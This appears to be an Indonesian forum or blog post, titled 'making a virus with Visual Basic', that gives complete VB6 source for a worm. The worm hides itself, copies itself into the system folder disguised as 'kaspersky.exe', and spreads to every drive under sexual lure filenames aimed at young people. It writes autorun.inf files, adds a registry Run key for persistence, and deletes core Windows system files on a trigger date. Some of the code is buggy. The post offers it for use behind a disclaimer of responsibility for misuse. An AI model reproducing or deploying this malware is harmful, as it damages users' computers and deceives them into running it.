Indeks
Latest images
Membuat Virus Dengan Visual Basic
- Code:
Private Sub Form_Load()
On Error Resume Next
Dim Rumah As Variant
Dim FolderSYSTEM As Object
Set Rumah = CreateObject("scripting.filesystemobject")
Set FolderSYSTEM = Rumah.GetSpecialFolder(1)
If App.PrevInstance = True Then End
App.TaskVisible = False
App.Title = "Windows Service"
FileCopy App.Path & "" & App.EXEName & ".exe", FolderSYSTEM & "\godham-tlab.exe"
FileCopy App.Path & "" & App.EXEName & ".exe", FolderSYSTEM & "\kaspersky.exe"
Call SD
Call IE
Call XD
Call XDS
End Sub
Sub XD()
On Error Resume Next
Dim ictr As Integer
Dim sDrive As String
Dim x As Byte
ReDim sDrives(0) As String
Dim penanda As Byte
For ictr = 65 To 90
sDrive = Chr(ictr) & ":"
On Error Resume Next
FileCopy App.Path & "" & App.EXEName & ".exe", sDrive & "Sex Movie.exe"
FileCopy App.Path & "" & App.EXEName & ".exe", sDrive & "Gairah Anak Muda.exe"
FileCopy App.Path & "" & App.EXEName & ".exe", sDrive & "Ini Virus buat remaja.exe"
FileCopy App.Path & "" & App.EXEName & ".exe", sDrive & "Jangan dibuka bahaya buat yang kurang umur.exe"
Next
End Sub
Sub SD()
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Set fileADSW = fso.CreateTextFile("C:\autorun.inf")
Set fileADSW = fso.CreateTextFile("D:\autorun.inf")
Set fileADSW = fso.CreateTextFile("F:\autorun.inf")
fileautorun.WriteLine ("[AUTORUN]")
fileautorun.WriteLine ("RUN=Sex Movies.exe")
End Sub
Sub IE()
On Error Resume Next
Dim Paray
Set Paray = CreateObject("Wscript.Shell")
Paray.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title", "Infected By Godham-Tlab.vir, please use PCMAV to clean me"
Paray.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption", "Infected By Godham-Tlab.vir"
Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", FolderSYSTEM & "\godham-tlab.exe"
End Sub
Sub XDS()
If Day(Now) = 9 And Month(Now) = 9 Then
Kill "C:\WINDOWS\system32\winlogon.exe"
Kill "C:\WINDOWS\system32\rundl32.exe"
End Sub
=======================================
Penyalahgunaan artikel ini bukan tanggung jawab admin
=======================================
Penyalahgunaan artikel ini bukan tanggung jawab admin
=======================================
» Buah - Varau
» 41 Istilah Pendakian
» Kabaena Kampo Tangkeno
» 5 Manfaat Ubi Jalar untuk Kesehatan Tubuh
» Berapa biaya sewa pesawat pribadi atau helikopter?
» Cara menggunakan 1 akun WhatsApp di 2 smartphone android
» Cara Mudah Membuka Proteksi Password Microsoft Office Excel Tanpa Software
» Serial Number NERO 6